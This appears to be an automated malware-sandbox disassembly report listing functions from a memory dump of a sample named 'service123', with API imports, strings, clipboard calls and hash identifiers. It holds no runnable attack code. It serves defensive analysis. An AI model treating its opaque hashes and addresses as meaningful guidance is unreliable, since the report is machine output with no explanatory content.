_strnicmp.MSVCRT ref: 6C2FFE92
_strnicmp.MSVCRT ref: 6C2FFEB5

Strings

NAN, xrefs: 6C2FFEAA
@, xrefs: 6C30060A
INITY, xrefs: 6C30011B
P, xrefs: 6C300600
INF, xrefs: 6C2FFE87

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: _strnicmp$isspacelocaleconvstrlen
String ID: @$INF$INITY$NAN$P
API String ID: 1481374036-3890526612
Opcode ID: a5ce28f160fafc444ca56b26da9dd3eca2f25ed1029f4da1e3b5d95f7a2f6ce8
Instruction ID: 061ead992a5f8e37366780cf0fa37c22f85cdffa4fa3a1250afed8293ac72eac
Opcode Fuzzy Hash: a5ce28f160fafc444ca56b26da9dd3eca2f25ed1029f4da1e3b5d95f7a2f6ce8
Instruction Fuzzy Hash: B8521575E043588FDB50DFA9C48079EBBF1BF48304F14852AE898AB780E735994ACF51

Function 6C2FD645 Relevance: 21.0, APIs: 14, Instructions: 42COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C121F
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1224
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1229
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C122E
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1233
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1238
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1240
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1245
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124A
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124F
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: f0d60249e738032ddebfba14ca0534320b2f262ebd1f7c0c7a1946a3763cacaf
Instruction ID: fe687010ba84fdf86694c9eada7920d5b0010b7a570e531fde4a62f92a40bb66
Opcode Fuzzy Hash: f0d60249e738032ddebfba14ca0534320b2f262ebd1f7c0c7a1946a3763cacaf
Instruction Fuzzy Hash: 0BF0A775A8414D4BD710DE28D044739B7B16B4230CF941988DA9567E42C326E85FCB47

Function 6C2FD6B0 Relevance: 19.5, APIs: 13, Instructions: 44COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1224
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1229
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C122E
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1233
abort.MSVCRT(?,?,?,00000001,?,?,6C2FC4E9), ref: 6C3C1238
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1240
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1245
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124A
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124F
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: c4e49e1a359640d5292e201deb8c044fc739cecd1ae9294370d36cddf40ffd3f
Instruction ID: 6d0f95ce079af22abbb340a43ba614b10d9fe79a1f4aa76592bec297117dd659
Opcode Fuzzy Hash: c4e49e1a359640d5292e201deb8c044fc739cecd1ae9294370d36cddf40ffd3f
Instruction Fuzzy Hash: 37F0A7F0A9528E4BD300DF28B48177DFBB06B43325F482484D8841BB42C329D8A9DFA6

Function 6C2FD8A0 Relevance: 18.1, APIs: 12, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 755642f705595dfc55b6776223e4d676c460c31dd472ebcc2cc9ae1bd503671a
Instruction ID: d0b5a562a282b83f8fe52b55b438a5f487d549e0a7cddc90028d0bf7c0c78a97
Opcode Fuzzy Hash: 755642f705595dfc55b6776223e4d676c460c31dd472ebcc2cc9ae1bd503671a
Instruction Fuzzy Hash: DD414975A4021D9BCB10DF99D884BDEF7B1AF89318F1085A9DC59A7700D730AE8A8F91

Function 6C2FDC60 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

@, xrefs: 6C2FDD00

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: strlen
String ID: @
API String ID: 39653677-2766056989
Opcode ID: 141a2d692299f1e33035211e56e53806a4762711df20972d9ee7ecae85e8ab3c
Instruction ID: 39f831cbeee4d6b97d8c57148fa4a6bf7b0456214cd7025ef4e4d6743e286bfd
Opcode Fuzzy Hash: 141a2d692299f1e33035211e56e53806a4762711df20972d9ee7ecae85e8ab3c
Instruction Fuzzy Hash: CB21B03194420E8BDB10DF54DC84BD9F7B4AB82309F5046A5D858AB600D7709E8A8FA1

Function 6C2FDAF0 Relevance: 16.6, APIs: 11, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 033386bb7f875bd5f64a6cdfd0daf36c47586ce260b93913261aee004b6bb1ad
Instruction ID: 1be29ef346a56c11632a7c766d283c930971ce3ab68b8d73cce1f27db961b165
Opcode Fuzzy Hash: 033386bb7f875bd5f64a6cdfd0daf36c47586ce260b93913261aee004b6bb1ad
Instruction Fuzzy Hash: 5E116075A4021C9BCB14DF64D8809DEF7B5AF85318F008554EC5967B04DB30EE4ADFA1

Function 6C2FDB90 Relevance: 15.1, APIs: 10, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5950781aae2502a7898066da521ee021a978145be645bfc633ec3f08c36479be
Instruction ID: ae3ef231057c7337a0a329b84fe85d13ccd5c9814fc9ddf94eca8fe6b55bb783
Opcode Fuzzy Hash: 5950781aae2502a7898066da521ee021a978145be645bfc633ec3f08c36479be
Instruction Fuzzy Hash: FB210874E0021E9BCF10DF64C8809DEF7B5AF85308F0084A8DC5867741DB30AE4A9FA1

Function 6C374010 Relevance: 13.9, Strings: 11, Instructions: 136COMMON

Download Yara Rule

Strings

rdseed, xrefs: 6C374058
Auth, xrefs: 6C3740CF
rand_s, xrefs: 6C374188
random_device::random_device(const std::string&): device not available, xrefs: 6C374178
random_device::random_device(const std::string&): unsupported token, xrefs: 6C3741A1
rdrnd, xrefs: 6C374086
rdrand, xrefs: 6C374071
Auth, xrefs: 6C374130
Genu, xrefs: 6C374128
Genu, xrefs: 6C3740C7
default, xrefs: 6C374030

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcmpstrlen
String ID: Auth$Auth$Genu$Genu$default$rand_s$random_device::random_device(const std::string&): device not available$random_device::random_device(const std::string&): unsupported token$rdrand$rdrnd$rdseed
API String ID: 3108337309-480619940
Opcode ID: c3c47827b34c43a37d44cb082f29bb12daa062fd7fe5dd230abf94b778aea78b
Instruction ID: d559dc524cec4d60e26b749d7d2a39faab14952db490e452a4362075af96caa4
Opcode Fuzzy Hash: c3c47827b34c43a37d44cb082f29bb12daa062fd7fe5dd230abf94b778aea78b
Instruction Fuzzy Hash: AC4183F670430107E3107A39998136AF9A5A790358F208A3CC951C7F51D33AD856CF67

Function 6C2FDEE0 Relevance: 12.1, APIs: 8, Instructions: 91COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1240
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1245
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124A
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C124F
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1254
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1259
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C125E
abort.MSVCRT(?,?,00000009,?,?,00000001,6C2FE124), ref: 6C3C1263

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 950f4571c130b5248f7f5916f00334c0cbdbc1c9a6f4d9a38dd5213c26549a8c
Instruction ID: d55c9acab459f0e2e4463043615807325cb395bd2ed45c0940bf684475e50955
Opcode Fuzzy Hash: 950f4571c130b5248f7f5916f00334c0cbdbc1c9a6f4d9a38dd5213c26549a8c
Instruction Fuzzy Hash: 9B21073238511C8FD7048F18D441E96B3B5EBC231CF2882BEE8588B759D236A4079B90

Function 6C30ADD6 Relevance: 12.1, APIs: 8, Instructions: 86clipboardCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 6C30ADD9
IsClipboardFormatAvailable.USER32 ref: 6C30B00C
OpenClipboard.USER32 ref: 6C30B020

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: Clipboard$AvailableCloseFormatHandleOpen
String ID:
API String ID: 518195572-0
Opcode ID: b66431399850edb29346f9b24b8e4b4bc7be4807adf92ffb39a0da17955f2b84
Instruction ID: e3eafa748fd727cbd8c4c61a985b270a2aefa7ed41b473fcc38a6bdcc93501d0
Opcode Fuzzy Hash: b66431399850edb29346f9b24b8e4b4bc7be4807adf92ffb39a0da17955f2b84
Instruction Fuzzy Hash: 1F2137B27052448FEB00FF78D58916EBBF4AB41248F01093DD8D586A44EB35D458CFA7

Function 6C30AF41 Relevance: 12.0, APIs: 8, Instructions: 46clipboardmemorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C38ECF0: strlen.MSVCRT ref: 6C38ECFE

OpenClipboard.USER32 ref: 6C30AF61
GlobalAlloc.KERNEL32 ref: 6C30AF85
GlobalLock.KERNEL32 ref: 6C30AFA2
strcpy.MSVCRT ref: 6C30AFB2
GlobalUnlock.KERNEL32 ref: 6C30AFBA
EmptyClipboard.USER32 ref: 6C30AFC3
SetClipboardData.USER32 ref: 6C30AFD4
CloseClipboard.USER32 ref: 6C30AFDD

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: Clipboard$Global$AllocCloseDataEmptyLockOpenUnlockstrcpystrlen
String ID:
API String ID: 3344633682-0
Opcode ID: 29dc556586c255b8367c242091bb67cf2aac414763d9c7680ed0dbd9d28e2923
Instruction ID: 59c6cb7b2a1fd295300c1abff237abe43d98aed4d4740bb41e93e8ee6b57363c
Opcode Fuzzy Hash: 29dc556586c255b8367c242091bb67cf2aac414763d9c7680ed0dbd9d28e2923
Instruction Fuzzy Hash: 5511C8B16093458FDB04FFB8D68A26DBBF0AB42705F40482CE4C686A40EB749818CF53

Function 6C2F9790 Relevance: 10.8, APIs: 3, Strings: 4, Instructions: 336stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C2F9803
strlen.MSVCRT ref: 6C2F991C
strlen.MSVCRT ref: 6C2F99A8

Strings

_GLOBAL_, xrefs: 6C2F97BD
_, xrefs: 6C2F9B28
Z__, xrefs: 6C2F9B01
Z__, xrefs: 6C2F9A9B, 6C2F9AC5

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: strlen
String ID: Z__$Z__$_$_GLOBAL_
API String ID: 39653677-1435454842
Opcode ID: 2a083d78a8e41e650a4e2a58dfebc26322fedb6321b57f1932211d572cd79346
Instruction ID: 40c2018ef33907c2864fec7c1e47bd8482e3b1e0051e17356559546fa20dbcef
Opcode Fuzzy Hash: 2a083d78a8e41e650a4e2a58dfebc26322fedb6321b57f1932211d572cd79346
Instruction Fuzzy Hash: 69E1BF7094525D8FEB10DF28C8A07DDFBF1AB09308F4441A9D8A9AB745D7398A9BCF41

Function 6C312910 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 214stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C312936
memcmp.MSVCRT ref: 6C312959
memcmp.MSVCRT ref: 6C3129CE
memcmp.MSVCRT ref: 6C312A3F

Part of subcall function 6C3B4BD0: strlen.MSVCRT ref: 6C3B4BDE

memcmp.MSVCRT ref: 6C312AD5

Strings

basic_string::compare, xrefs: 6C312978, 6C3129EC, 6C312A5D, 6C312AF4, 6C312B10
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C312980, 6C3129F4, 6C312A65, 6C312AFC, 6C312B18

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: 213c0961cb6cb16b717317b82af4a927898032deae591cde84d24fb2d6fef292
Instruction ID: a71ac7ef85e2145e7010870ffbafde85e48dcf0c5387ce9a22c17df41447f630
Opcode Fuzzy Hash: 213c0961cb6cb16b717317b82af4a927898032deae591cde84d24fb2d6fef292
Instruction Fuzzy Hash: C3616776A093019FC3049F69D98450EFBE5EFD9648F15896DE5C887B10E232D8848F97

Function 6C31DCE0 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 198stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C31DD06
memcmp.MSVCRT ref: 6C31DD2A
memcmp.MSVCRT ref: 6C31DD9B
memcmp.MSVCRT ref: 6C31DE0D

Part of subcall function 6C3B4BD0: strlen.MSVCRT ref: 6C3B4BDE

memcmp.MSVCRT ref: 6C31DE97

Strings

basic_string::compare, xrefs: 6C31DD49, 6C31DDB8, 6C31DE2B, 6C31DEB6, 6C31DED2
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C31DD51, 6C31DDC0, 6C31DE33, 6C31DEBE, 6C31DEDA

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: c5a3fdd5c4cd2359babb34bd27598a96122aec051d376a577e08f85d5264fb26
Instruction ID: f6bba146d220632d649f2dd2595321ffeb2f24030e29ab16a246cd92d4ed7c95
Opcode Fuzzy Hash: c5a3fdd5c4cd2359babb34bd27598a96122aec051d376a577e08f85d5264fb26
Instruction Fuzzy Hash: 2A6135766097019FC304EF29C9C090ABBE5EFD9648F15892DE9C887B14E232D8858F97

Function 6C320971 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 196stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C3209A3
memcpy.MSVCRT ref: 6C320A0F
strlen.MSVCRT ref: 6C320A53

Strings

basic_string::_M_construct null not valid, xrefs: 6C320A20, 6C320AD0, 6C320B80

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: strlen$memcpy
String ID: basic_string::_M_construct null not valid
API String ID: 3396830738-3522614731
Opcode ID: a41949a17063a27e171a08b69bcaadcf2a41032f3fde33a16f28728785ee2902
Instruction ID: edc88608a2a630395843a1acc4791fc965fb0d4a83017605dca84831084b5d82
Opcode Fuzzy Hash: a41949a17063a27e171a08b69bcaadcf2a41032f3fde33a16f28728785ee2902
Instruction Fuzzy Hash: 6B518DB56093448FCB10EF29D09465AFBF4EF8A218F14886EE898CB715D335D849CF62

Function 6C2FE510 Relevance: 10.6, APIs: 7, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 3b4050d9c562da35be5dd68e3ae1d971445d70c18b55a6e5b71a0392dd34fd46
Instruction ID: 003611560df3466dfaee1ed0223bc1e110c2185e44560087133ca7340039a7d6
Opcode Fuzzy Hash: 3b4050d9c562da35be5dd68e3ae1d971445d70c18b55a6e5b71a0392dd34fd46
